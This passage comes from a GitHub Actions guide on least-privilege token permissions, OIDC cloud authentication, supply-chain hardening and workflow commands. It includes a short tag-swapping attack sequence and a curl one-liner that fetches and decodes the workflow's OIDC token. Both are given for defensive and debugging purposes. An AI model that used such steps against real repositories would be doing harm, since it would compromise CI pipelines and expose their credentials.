runs-on: ubuntu-latest
# Inherits workflow-level: contents: read
steps:
- uses: actions/checkout@v4
- run: npm ci && npm run build
publish-package:
needs: build
runs-on: ubuntu-latest
# Job-level override: REPLACES workflow-level entirely
permissions:
contents: read
packages: write
steps:
- uses: actions/checkout@v4
- run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
notify:
needs: build
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- uses: actions/github-script@v7
with:
script: |
github.rest.issues.create({
owner: context.repo.owner,
repo: context.repo.repo,
title: 'Build completed',
body: 'Main branch build succeeded.'
})
Notice how the notify job declares issues: write but does not redeclare contents: read. This means the notify job cannot check out the repository — it only gets issue write access. If it needed to clone code too, you would have to explicitly add contents: read in that job's permissions block.
Job-level permissions completely replaces the workflow-level block — it does not merge. If you set permissions: { issues: write } at the job level, every other scope becomes none for that job, even if the workflow level granted them.
Write Permissions for Common Tasks
Most CI workflows start with just contents: read. Here's a quick reference for when you need to grant additional scopes:
| Task | Required Permission | Level |
|---|---|---|
| Checkout repository code | contents: read | read |
| Push commits or tags | contents: write | write |
| Create a GitHub Release | contents: write | write |
| Comment on a pull request | pull-requests: write | write |
| Publish to GitHub Packages | packages: write | write |
| Upload code scanning results (SARIF) | security-events: write | write |
| Create or update check runs | checks: write | write |
| Set commit statuses | statuses: write | write |
| Deploy to GitHub Pages | pages: write + id-token: write | write |
| OIDC authentication to cloud providers | id-token: write | write |
| Create or label issues | issues: write | write |
The Read-Only Shorthand
If your workflow only needs read access across all scopes (a pure CI build with no publishing or commenting), you can use the special shorthand syntax to set every scope to read at once:
# Set ALL scopes to read-only
permissions: read-all
There is also permissions: write-all (grants write on everything) and permissions: {} (grants no permissions at all). The empty object is useful for jobs that don't interact with the GitHub API at all — such as pure computation or jobs that use only external services.
Best Practices for Token Scoping
1. Always declare an explicit permissions block
Even if your repository has restricted defaults, adding an explicit block in every workflow makes the security posture visible and self-documenting. Someone reading the workflow can immediately see what the token is allowed to do without checking repository settings.
2. Start with contents: read and add scopes as needed
Begin every workflow with the minimum. When a step fails with a 403 Resource not accessible by integration error, that tells you exactly which scope you need to add. Don't preemptively grant write-all to avoid errors.
3. Prefer job-level permissions over workflow-level
If only one job out of five needs packages: write, grant it at the job level. The other four jobs operate with a narrower token, reducing the blast radius if a step is compromised.
4. Use permissions: {} for jobs that don't need a token
If a job runs linting with no API calls or external pushes, set its permissions to the empty object. This ensures even a compromised action in that job can't use the token.
jobs:
lint:
runs-on: ubuntu-latest
permissions: {} # No token access at all
steps:
- uses: actions/checkout@v4
- run: npx eslint .
The actions/checkout action can still clone the repo even with permissions: {} on public repositories, because it falls back to an unauthenticated clone. For private repos, you need at least contents: read.
5. Be extra cautious with contents: write on pull request triggers
The pull_request event from forks runs with a read-only token regardless of your permissions block — this is a GitHub security feature. However, if you use pull_request_target (which runs in the context of the base branch), the token gets the permissions you declare, including write. Combining pull_request_target with contents: write and checking out untrusted fork code is a well-known attack vector. Keep these concerns separated into distinct jobs with different permission levels.
OIDC Federation: Passwordless Cloud Authentication
Every long-lived credential stored as a GitHub secret is a liability. If it leaks through a log, a fork, or a compromised dependency, an attacker gets persistent access to your cloud account. OpenID Connect (OIDC) federation eliminates this risk entirely — your workflows authenticate to cloud providers using short-lived JSON Web Tokens (JWTs) that expire in minutes and can never be reused.
Instead of you creating an IAM user with static keys, the cloud provider trusts GitHub as an identity provider. GitHub issues a signed JWT for each workflow run, and the cloud provider exchanges that token for temporary credentials scoped to exactly what the job needs.
How the OIDC Flow Works
The authentication handshake involves four parties: your workflow, GitHub's OIDC provider, the cloud provider's token service, and the target cloud resource. Every run produces a unique, cryptographically signed token that ties the credentials to a specific repository, branch, and workflow.
sequenceDiagram
participant W as Workflow Job
participant G as GitHub OIDC Provider
participant C as Cloud Provider (STS)
participant R as Cloud Resource
W->>G: 1. Request OIDC token (ACTIONS_ID_TOKEN_REQUEST_URL)
G-->>W: 2. Signed JWT (claims: repo, branch, env, workflow)
W->>C: 3. Present JWT + Role ARN / Workload Identity
C->>G: 4. Fetch JWKS (public keys) to verify signature
G-->>C: 5. Return JWKS
C->>C: 6. Validate claims against trust policy
C-->>W: 7. Return short-lived credentials (e.g., 1 hour)
W->>R: 8. Access cloud resource with temporary credentials
Anatomy of the GitHub OIDC Token
The JWT that GitHub issues contains claims your cloud provider uses to decide whether to grant access. Understanding these claims is critical — they form the foundation of your trust policy. Here are the most important ones:
| Claim | Example Value | Use In Trust Policy |
|---|---|---|
iss | https://token.actions.githubusercontent.com | Identifies GitHub as the token issuer |
sub | repo:octo-org/my-repo:ref:refs/heads/main | Lock access to a specific repo and branch |
aud | sts.amazonaws.com | Ensures token was intended for this provider |
repository | octo-org/my-repo | Filter by repository name |
environment | production | Restrict to a specific GitHub environment |
ref | refs/heads/main | Restrict to a specific branch or tag |
workflow | deploy.yml | Restrict to a specific workflow file |
job_workflow_ref | octo-org/my-repo/.github/workflows/deploy.yml@refs/heads/main | Pin to exact workflow at exact ref (reusable workflows) |
sub claim is your primary security boundaryA trust policy that only checks iss (issuer) would let any GitHub repository assume your cloud role. Always constrain the sub claim to your specific org, repo, and ideally branch or environment. For production deployments, use sub conditions like repo:my-org/my-repo:environment:production.
Your workflow must declare the id-token: write permission to request a JWT. Without it, the ACTIONS_ID_TOKEN_REQUEST_URL environment variable won't be set and the token request will fail.
permissions:
id-token: write # Required to request the OIDC JWT
contents: read # Typically needed for checkout
Setup for AWS
AWS uses IAM Identity Providers and IAM Roles to trust GitHub's OIDC tokens. You create an identity provider once, then create roles with trust policies that reference specific claims. The aws-actions/configure-aws-credentials action handles the token exchange automatically.
1. Create the IAM Identity Provider (one-time setup)
In your AWS account, register GitHub as an OIDC identity provider. This tells AWS to trust tokens signed by GitHub's key pair.
aws iam create-open-id-connect-provider \
--url "https://token.actions.githubusercontent.com" \
--client-id-list "sts.amazonaws.com" \
--thumbprint-list "6938fd4d98bab03faadb97b34396831e3780aea1"
2. Create an IAM Role with a Trust Policy
The trust policy below restricts role assumption to a specific repository on the main branch. The StringLike condition on sub is where you enforce which workflows can authenticate.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"
}
}
}
]
}
3. Use OIDC in Your Workflow
name: Deploy to AWS
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
aws-region: us-east-1
role-session-name: github-actions-${{ github.run_id }}
- name: Deploy
run: |
aws s3 sync ./dist s3://my-app-bucket
aws cloudfront create-invalidation --distribution-id E1234 --paths "/*"
Setup for Azure
Azure uses Federated Identity Credentials on an App Registration or Managed Identity. Instead of creating a client secret, you configure a federation that trusts GitHub's OIDC tokens for a specific subject.
1. Register the Federated Credential (one-time setup)
In Azure AD, create an App Registration, then add a federated credential. The subject field maps directly to the sub claim in the GitHub JWT.
az ad app federated-credential create \
--id <APP_OBJECT_ID> \
--parameters '{
"name": "github-main-branch",
"issuer": "https://token.actions.githubusercontent.com",
"subject": "repo:my-org/my-repo:ref:refs/heads/main",
"audiences": ["api://AzureADTokenExchange"],
"description": "GitHub Actions deploy from main"
}'
2. Use OIDC in Your Workflow
name: Deploy to Azure
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Azure Login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Deploy to App Service
uses: azure/webapps-deploy@v3
with:
app-name: my-web-app
package: ./dist
Setup for Google Cloud (GCP)
GCP uses Workload Identity Federation — a Workload Identity Pool with a Provider that maps GitHub's OIDC tokens to a GCP service account. The google-github-actions/auth action handles the token exchange.
1. Create the Workload Identity Pool and Provider (one-time setup)
# Create the workload identity pool
gcloud iam workload-identity-pools create "github-pool" \
--project="my-gcp-project" \
--location="global" \
--display-name="GitHub Actions Pool"
# Create the OIDC provider within the pool
gcloud iam workload-identity-pools providers create-oidc "github-provider" \
--project="my-gcp-project" \
--location="global" \
--workload-identity-pool="github-pool" \
--display-name="GitHub Provider" \
--attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \
--attribute-condition="assertion.repository=='my-org/my-repo'" \
--issuer-uri="https://token.actions.githubusercontent.com"
# Allow the pool to impersonate a service account
gcloud iam service-accounts add-iam-policy-binding "deploy-sa@my-gcp-project.iam.gserviceaccount.com" \
--project="my-gcp-project" \
--role="roles/iam.workloadIdentityUser" \
--member="principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/attribute.repository/my-org/my-repo"
2. Use OIDC in Your Workflow
name: Deploy to GCP
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Authenticate to Google Cloud
uses: google-github-actions/auth@v2
with:
workload_identity_provider: "projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/providers/github-provider"
service_account: "deploy-sa@my-gcp-project.iam.gserviceaccount.com"
- name: Deploy to Cloud Run
uses: google-github-actions/deploy-cloudrun@v2
with:
service: my-api
region: us-central1
image: gcr.io/my-gcp-project/my-api:${{ github.sha }}
Comparing Cloud Provider OIDC Setup
Each cloud provider implements the same OIDC standard but uses different terminology and configuration surfaces. This table maps the equivalent concepts across all three.
| Concept | AWS | Azure | GCP |
|---|---|---|---|
| Trust anchor | IAM OIDC Identity Provider | Federated Identity Credential | Workload Identity Pool + Provider |
| Target identity | IAM Role | App Registration / Managed Identity | Service Account |
| Claim filtering | IAM Trust Policy conditions | subject field on credential | attribute-condition on provider |
| GitHub Action | aws-actions/configure-aws-credentials@v4 | azure/login@v2 | google-github-actions/auth@v2 |
| Token lifetime | 1 hour (default, max 12h) | 1 hour (default) | 1 hour (default) |
| Secrets still needed | None (role ARN can be public) | Client ID, Tenant ID, Subscription ID (non-sensitive) | Provider path, SA email (non-sensitive) |
A trust policy with sub: repo:my-org/my-repo:* allows any branch or pull request to assume the role. For production cloud resources, always pin to a specific branch (ref:refs/heads/main) or, better yet, a GitHub environment (environment:production). Environments also let you add required reviewers as an additional gate.
Hardening Your OIDC Configuration
Getting OIDC working is the first step. Securing it properly requires tightening trust policies beyond the defaults. Here are the practices that matter most:
- Use GitHub Environments in your subject claim —
repo:my-org/my-repo:environment:productionis more secure than branch-based filtering because environments support required reviewers, wait timers, and branch protection rules. - Scope IAM permissions to least privilege — OIDC handles authentication, but the assumed role still needs tight authorization. A deploy role should only have permissions to update the specific resources it targets.
- Set a short session duration — AWS lets you specify
role-duration-seconds(default 3600). If your deploy takes 5 minutes, set it to 900 seconds instead of accepting the 1-hour default. - Use
job_workflow_reffor reusable workflows — When a reusable workflow runs, thesubclaim reflects the caller repo. Usejob_workflow_refin your trust policy to verify the actual workflow code that's executing. - Audit token claims in your pipeline — During setup, decode the JWT to verify claims match your expectations before tightening trust policies.
Add a temporary step to inspect the raw token: curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL" | jq -r '.value' | cut -d. -f2 | base64 -d | jq . — This decodes the JWT payload so you can see exactly what claims the cloud provider will receive. Remove this step before going to production.
Supply Chain Security: Pinning, Dependabot, and Hardening
Every time your workflow runs uses: some-org/some-action@v3, you're executing code written by a stranger inside your CI environment — with access to your secrets, your source code, and your deployment credentials. Third-party actions are the single largest attack surface in GitHub Actions, and a compromised action can exfiltrate secrets, inject backdoors into build artifacts, or pivot into your production infrastructure.
This section covers the concrete attack vectors, the defenses that actually work, and the tools that automate the boring parts of staying secure.
The Tag-Swapping Attack
Git tags are mutable. A repository maintainer (or an attacker who has compromised a maintainer's account) can delete a tag and recreate it pointing to a completely different commit. When your workflow references an action by tag — @v3 or even @v3.2.1 — GitHub resolves that tag at runtime, meaning you'll silently execute whatever commit the tag points to at that moment.
Here's how the attack plays out:
# Attacker compromises the action repo, then:
git tag -d v3 # delete the existing v3 tag
git tag v3 abc123f # point v3 at a malicious commit
git push origin v3 -f # force-push the new tag
# Every workflow using @v3 now runs the attacker's code
This isn't theoretical. In March 2025, the popular tj-actions/changed-files action was compromised exactly this way — tags were repointed to commits that dumped CI secrets to workflow logs, affecting thousands of repositories.
Semantic version tags like @v3, @v3.2, and even "exact" tags like @v3.2.1 are all equally vulnerable. Tags are just pointers — only commit SHAs are immutable.
Pinning to Full Commit SHAs
The fix is straightforward: reference every third-party action by its full 40-character commit SHA instead of a tag. A SHA is a cryptographic hash of the commit contents — it cannot be moved, rewritten, or faked. If someone tampers with the code, the SHA changes and GitHub will refuse to check it out.
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- uses: docker/build-push-action@v5
steps:
# Pin every action to its full commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
- uses: docker/build-push-action@263435318d21b8e681c14492fe198571cfb76f00 # v6.18.0
The trailing comment (# v4.2.2) is a convention that keeps things readable and helps Dependabot know which version you intended. You can find the SHA for any action release on its GitHub Releases page, or by running git ls-remote:
# Find the SHA that a tag currently points to
git ls-remote --tags https://github.com/actions/checkout.git v4.2.2
# Output: 11bd71901bbe5b1630ceea73d27597364c9af683 refs/tags/v4.2.2
Keeping Pinned Actions Updated with Dependabot
Pinning to SHAs creates a new problem: you no longer get automatic updates when actions release security patches. Dependabot solves this. It monitors the action repositories for new releases and opens pull requests that update the SHA in your workflow files — complete with changelogs and diff links so you can review before merging.
Create .github/dependabot.yml in your repository:
version: 2
updates:
# Keep GitHub Actions pinned to latest SHAs
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
# Group all action updates into a single PR
groups:
actions:
patterns:
- "*"
commit-message:
prefix: "ci"
labels:
- "dependencies"
- "ci"
The groups key is important — without it, Dependabot opens a separate PR for every single action, which gets noisy fast. Grouping collapses them into one reviewable PR per week. You can also set interval: "daily" for security-critical repositories.
StepSecurity Harden-Runner
SHA pinning stops tag-swapping, but it doesn't prevent a legitimately-published action from making unexpected network calls — phoning home to an analytics server, exfiltrating environment variables, or downloading additional payloads at runtime. StepSecurity's Harden-Runner adds runtime visibility and control over what happens inside your workflow steps.
Add it as the first step in every job:
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Harden the runner
uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
with:
egress-policy: audit # Start with 'audit' to observe traffic
# egress-policy: block # Switch to 'block' once you have an allowlist
allowed-endpoints: >
github.com:443
registry.npmjs.org:443
api.github.com:443
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- run: npm ci && npm test
In audit mode, Harden-Runner logs every outbound network connection from your job and presents a summary in the StepSecurity dashboard. Once you've identified the legitimate endpoints, switch to block mode to enforce a strict allowlist — any connection to a non-approved endpoint gets dropped and the step fails.
OpenSSF Scorecard
OpenSSF Scorecard is an automated tool that evaluates the security posture of open-source projects — including your own repository. It checks for branch protection, dependency pinning, code review practices, CI/CD configuration, and more, producing a 0–10 score per category. Running it on your own repo surfaces the low-hanging fruit; running it on actions you depend on tells you whether those maintainers take security seriously.
You can run Scorecard as a GitHub Action on a schedule:
name: OpenSSF Scorecard
on:
schedule:
- cron: "0 6 * * 1" # Every Monday at 06:00 UTC
push:
branches: [main]
permissions: read-all
jobs:
scorecard:
runs-on: ubuntu-latest
permissions:
security-events: write # Upload SARIF results
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: ossf/scorecard-action@05b42c624433fc40578a4040d5cf5e39f8c78ee3 # v2.4.1
with:
results_file: scorecard-results.sarif
results_format: sarif
publish_results: true
- uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
with:
sarif_file: scorecard-results.sarif
Results appear in your repository's Security → Code scanning tab as actionable alerts. You can also check any public repo's score instantly at https://scorecard.dev/viewer/?uri=github.com/ORG/REPO.
Before adopting a new third-party action, check its Scorecard. A project with a score below 4 in "Branch-Protection" or "Token-Permissions" categories deserves extra scrutiny — or a fork you control.
Security Best Practices Checklist
The tools above form a defense-in-depth strategy. Here's the full checklist, combining technical controls with process discipline:
| Practice | Why It Matters | Effort |
|---|---|---|
| Pin all actions to full SHA | Prevents tag-swapping and supply chain injection | Low |
Enable Dependabot for github-actions | Keeps pinned SHAs current with security patches | Low |
Use least-privilege permissions | Limits blast radius if a job is compromised | Low |
Never use pull_request_target with forked code checkout | Prevents secret exfiltration from untrusted PRs | Low |
| Audit with Harden-Runner (egress monitoring) | Detects unexpected network calls at runtime | Medium |
| Run OpenSSF Scorecard on your repo | Surfaces security configuration gaps automatically | Low |
| Fork critical actions into your org | Gives you full control over the code your CI runs | High |
| Require PR approval for workflow file changes | Prevents malicious workflow modifications via code review | Low |
| Rotate and scope secrets to specific environments | Limits exposure window and blast radius of leaked secrets | Medium |
Setting permissions at the workflow or job level overrides the repository's default token permissions. Always start with permissions: {} (no permissions) and grant only what each job needs. This single change blocks most privilege-escalation attacks.
Putting It All Together
A hardened workflow combines all of these practices. Notice how every action is SHA-pinned with a version comment, permissions are scoped to the minimum required, and Harden-Runner monitors egress at the top of each job:
name: CI (Hardened)
on:
push:
branches: [main]
pull_request:
# Default: no permissions. Each job opts in to what it needs.
permissions: {}
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Harden runner
uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
with:
egress-policy: audit
- name: Checkout code
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Setup Node.js
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: 22
cache: npm
- name: Install and test
run: |
npm ci
npm test
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # For OIDC-based deployment
environment: production
steps:
- name: Harden runner
uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf # v2.11.1
with:
egress-policy: block
allowed-endpoints: >
github.com:443
sts.amazonaws.com:443
- name: Checkout code
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Deploy
run: echo "Deploy with OIDC — no long-lived secrets needed"
Security isn't a single toggle — it's a stack of overlapping defenses. SHA pinning stops tag-swapping. Dependabot keeps you patched. Least-privilege permissions contain the blast radius. Harden-Runner watches the network. Scorecard audits the whole setup. Each layer catches what the others miss.
Workflow Commands: Controlling Runner Behavior from Steps
Workflow commands are a protocol for your steps to talk back to the GitHub Actions runner. They let you set outputs, manipulate environment variables, annotate code, mask secrets, and structure log output — all by writing specially formatted strings to stdout or appending to special files.
There are two families of commands: file-based commands that write to runner-provided file paths ($GITHUB_OUTPUT, $GITHUB_ENV, etc.) and stream commands that use the ::command:: syntax printed to stdout.
File-Based Output Commands
GitHub Actions provides environment variables that point to temporary files on the runner. You write to these files to pass data between steps, set environment variables, extend PATH, or render Markdown summaries. This replaced the deprecated ::set-output and ::set-env stream commands.
Setting Step Outputs with $GITHUB_OUTPUT
Step outputs are the primary way to pass data from one step to another within the same job. You write name=value pairs to the file at $GITHUB_OUTPUT, then reference them via steps.<step_id>.outputs.<name>.
- name: Compute version
id: version
run: |
TAG=$(git describe --tags --abbrev=0 2>/dev/null || echo "v0.0.0")
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "sha_short=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"
- name: Use the outputs
run: |
echo "Tag: ${{ steps.version.outputs.tag }}"
echo "SHA: ${{ steps.version.outputs.sha_short }}"
For multiline values (like JSON blobs or file contents), use a heredoc-style delimiter. Pick a unique delimiter string that won't appear in the value itself:
- name: Set multiline output
id: changelog
run: |
{
echo "content<<DELIM"
git log --oneline -5
echo "DELIM"
} >> "$GITHUB_OUTPUT"
Setting Environment Variables with $GITHUB_ENV
Writing to $GITHUB_ENV sets environment variables that are available to all subsequent steps in the same job. The current step does not see the new variable — it takes effect starting from the next step.
- name: Set build config
run: |
echo "BUILD_MODE=release" >> "$GITHUB_ENV"
echo "ARTIFACT_NAME=myapp-$(date +%Y%m%d)" >> "$GITHUB_ENV"
- name: Build
run: |
echo "Building in $BUILD_MODE mode..."
echo "Artifact: $ARTIFACT_NAME"
Multiline values in $GITHUB_ENV use the same heredoc delimiter syntax as $GITHUB_OUTPUT. For example: MY_VAR<<EOF, then the value lines, then EOF, all appended to $GITHUB_ENV.
Extending PATH with $GITHUB_PATH
To add a directory to the system PATH for all subsequent steps, append it to the file at $GITHUB_PATH. This is commonly used when installing tools to custom locations.
- name: Install custom tool
run: |
mkdir -p "$HOME/.local/bin"
curl -sL https://example.com/tool.tar.gz | tar xz -C "$HOME/.local/bin"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
- name: Use the tool
run: tool --version # Now on PATH
Writing Job Summaries with $GITHUB_STEP_SUMMARY
Job summaries let you render rich Markdown content on the workflow run's Summary page. You write GitHub-flavored Markdown to $GITHUB_STEP_SUMMARY. Multiple steps can append content, and it all appears in order on the summary.
- name: Report test results
run: |
echo "## Test Results :white_check_mark:" >> "$GITHUB_STEP_SUMMARY"
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "| Suite | Passed | Failed |" >> "$GITHUB_STEP_SUMMARY"
echo "|-------|--------|--------|" >> "$GITHUB_STEP_SUMMARY"
echo "| Unit | 142 | 0 |" >> "$GITHUB_STEP_SUMMARY"
echo "| E2E | 38 | 2 |" >> "$GITHUB_STEP_SUMMARY"
To overwrite the summary instead of appending (useful if a later step supersedes earlier output), use > instead of >>. You can also clear it entirely with echo "" > "$GITHUB_STEP_SUMMARY".
File-Based Commands at a Glance
| Environment Variable | Purpose | Available To |
|---|---|---|
$GITHUB_OUTPUT | Set step outputs (key=value) | Subsequent steps via steps.<id>.outputs.<key> |
$GITHUB_ENV | Set environment variables | All subsequent steps in the job |
$GITHUB_PATH | Prepend directories to PATH | All subsequent steps in the job |
$GITHUB_STEP_SUMMARY | Render Markdown on the Summary page | Visible on the workflow run UI |
Logging Commands: Annotations and Diagnostics
Logging commands use the ::command::message syntax printed to stdout. They create annotations that appear inline on pull request diffs, on the Actions summary page, and in the log viewer. Each command accepts optional parameters for file, line, endLine, col, and endColumn to pin the annotation to a specific code location.
::debug::
Debug messages only appear in logs when you enable debug logging by setting the ACTIONS_STEP_DEBUG secret or variable to true. Use them liberally for diagnostic info you don't want cluttering normal runs.
- name: Debug info
run: |
echo "::debug::Current working directory: $(pwd)"
echo "::debug::Node version: $(node --version)"
::notice::, ::warning::, and ::error::
These three commands create increasingly severe annotations. Notices are informational, warnings flag potential issues, and errors indicate failures. All three support file-location parameters to pin the annotation to a specific line in your repository.
- name: Lint and annotate
run: |
# Simple messages (appear in the log and summary)
echo "::notice::Build completed successfully"
echo "::warning::Deprecated API usage detected"
echo "::error::Missing required configuration file"
# With file location (appears inline on PR diffs)
echo "::warning file=src/api.js,line=42,col=5::Unused variable 'tempData'"
echo "::error file=src/auth.js,line=17,endLine=19,title=Security Issue::Token is logged to stdout"
The full parameter syntax is ::command file={path},line={l},endLine={el},col={c},endColumn={ec},title={t}::{message}. All parameters are optional. The title parameter sets a bold heading for the annotation.
Annotation Parameter Reference
| Parameter | Description | Example |
|---|---|---|
file | Path relative to repository root | src/index.js |
line | Start line number | 42 |
endLine | End line number (for multi-line ranges) | 45 |
col | Start column number | 5 |
endColumn | End column number | 20 |
title | Custom annotation title (bolded in the UI) | Security Issue |
Log Grouping, Masking, and Runner Control
::group:: and ::endgroup::
Group commands create collapsible sections in the log output. They are essential for keeping noisy steps readable — wrap verbose output (dependency installation, test results, build output) in a group so reviewers can expand it when needed.
- name: Install and build
run: |
echo "::group::Installing dependencies"
npm ci
echo "::endgroup::"
echo "::group::Running build"
npm run build
echo "::endgroup::"
echo "::group::Bundle size report"
du -sh dist/*
echo "::endgroup::"
::add-mask::
Masking prevents a value from appearing in logs. Once masked, every subsequent occurrence of that string in log output is replaced with ***. This is critical when you dynamically generate or fetch secrets at runtime that are not stored in GitHub Secrets (which are auto-masked).
- name: Fetch and mask dynamic token
run: |
TOKEN=$(curl -s https://auth.example.com/token)
echo "::add-mask::$TOKEN"
# From this point on, $TOKEN is replaced with *** in all logs
echo "Token retrieved: $TOKEN" # Logs: "Token retrieved: ***"
The mask applies as a simple string replacement. If you mask a short or common value (like true or 1), it will be redacted everywhere it appears in subsequent log lines — including places you did not intend. Mask only values with sufficient entropy.
::stop-commands:: and Resuming
If your script output might accidentally contain strings that look like ::command:: syntax, you can suspend command processing. Pass a unique token to ::stop-commands::, and the runner ignores all workflow commands until it sees that token used to resume.
- name: Output raw content safely
run: |
PAUSE_TOKEN="ghactions-$(uuidgen)"
echo "::stop-commands::$PAUSE_TOKEN"
# Everything here is printed literally, even if it contains ::
cat docs/workflow-examples.md
echo "::$PAUSE_TOKEN::" # Resume command processing
::echo::
The ::echo:: command toggles whether workflow commands themselves are printed to the log. By default, the runner processes commands silently — you see the effect but not the ::command:: string. Enabling echo makes the raw command visible, which is helpful for debugging.
- name: Debug workflow commands
run: |
echo "::echo::on"
echo "::notice::This command will be visible in logs"
echo "::echo::off"
Complete Workflow Commands Reference
| Command | Mechanism | Syntax |
|---|---|---|
| Set output | File | echo "key=value" >> $GITHUB_OUTPUT |
| Set env var | File | echo "KEY=value" >> $GITHUB_ENV |
| Add to PATH | File | echo "/path" >> $GITHUB_PATH |
| Job summary | File | echo "markdown" >> $GITHUB_STEP_SUMMARY |
| Debug log | Stream | echo "::debug::message" |
| Notice annotation | Stream | echo "::notice file=f,line=l::msg" |
| Warning annotation | Stream | echo "::warning file=f,line=l::msg" |
| Error annotation | Stream | echo "::error file=f,line=l::msg" |
| Group logs | Stream | echo "::group::Title" … echo "::endgroup::" |
| Mask a value | Stream | echo "::add-mask::sensitiveValue" |
| Stop commands | Stream | echo "::stop-commands::token" |
| Echo toggle | Stream | echo "::echo::on" / echo "::echo::off" |
The @actions/core Node.js package provides typed wrappers like core.setOutput(), core.exportVariable(), and core.warning() that generate these commands for you. If you are writing a custom JavaScript action, prefer the toolkit over raw echo statements.
Job Summaries: Rich Markdown Output
Every GitHub Actions workflow run has a summary page — that top-level view you see when you click into a run. By default, it shows a timeline of jobs and steps. With Job Summaries, you can inject rich Markdown content directly onto that page: test reports, deployment tables, build artifact links, and more.
The mechanism is simple. GitHub exposes an environment variable called $GITHUB_STEP_SUMMARY that points to a temporary file. Anything you write to that file as Markdown gets rendered on the workflow run summary page. Each step can append its own content, and all contributions are displayed in order.
Writing to the Summary File
You write to $GITHUB_STEP_SUMMARY using standard shell redirection. Use >> to append (which is almost always what you want) or > to overwrite the file entirely. Each step’s output is accumulated, so appending preserves summaries from previous steps.
- name: Add simple summary
run: echo "### Build completed successfully 🎉" >> $GITHUB_STEP_SUMMARY
- name: Add multi-line summary
run: |
echo "## Test Results" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "- **Total**: 142 tests" >> $GITHUB_STEP_SUMMARY
echo "- **Passed**: 139 ✅" >> $GITHUB_STEP_SUMMARY
echo "- **Failed**: 3 ❌" >> $GITHUB_STEP_SUMMARY
Using a heredoc is cleaner for multi-line content. It avoids repeated echo commands and keeps the Markdown structure readable inside your workflow file.
- name: Add summary with heredoc
run: |
cat >> $GITHUB_STEP_SUMMARY << 'EOF'
## Deployment Summary
| Environment | Status | URL |
|-------------|--------|-----|
| Staging | ✅ Live | [staging.example.com](https://staging.example.com) |
| Production | ⏳ Pending | — |
EOF
Each job has its own $GITHUB_STEP_SUMMARY file. Summaries from all jobs in a workflow run are concatenated on the summary page. There is a size limit of 1 MiB per step and 1 MiB total per job. Content exceeding the limit is silently truncated.
Supported Markdown Features
Job summaries support GitHub-flavored Markdown (GFM), so you get the full range of formatting you would use in issues or pull request descriptions. Here is a reference of what renders correctly on the summary page.
| Feature | Markdown Syntax | Notes |
|---|---|---|
| Headings | # H1 through ###### H6 | Use ## or ### for section structure |
| Lists | - item or 1. item | Nested lists supported |
| Tables | Pipe-delimited GFM tables | Column alignment with :---, :---:, ---: |
| Code blocks | Triple backtick fenced blocks | Syntax highlighting with language hint |
| Images |  | Must be publicly accessible URLs |
| Links | [text](url) | External URLs and anchors work |
| Collapsible sections | <details> / <summary> | Great for verbose output like logs |
| Emoji | :emoji_code: or Unicode | Unicode emoji (✅ ❌ 🚀) are more reliable |
Collapsible Sections for Verbose Output
When you have long logs or detailed output, wrap them in a <details> block. This keeps the summary page scannable while still making the full data available on-demand.
- name: Summarize test failures
if: failure()
run: |
cat >> $GITHUB_STEP_SUMMARY << 'EOF'
## ❌ Test Failures
<details>
<summary>3 tests failed — click to expand</summary>
```
FAIL src/auth.test.js
✕ should reject expired tokens (12ms)
✕ should handle malformed JWT (8ms)
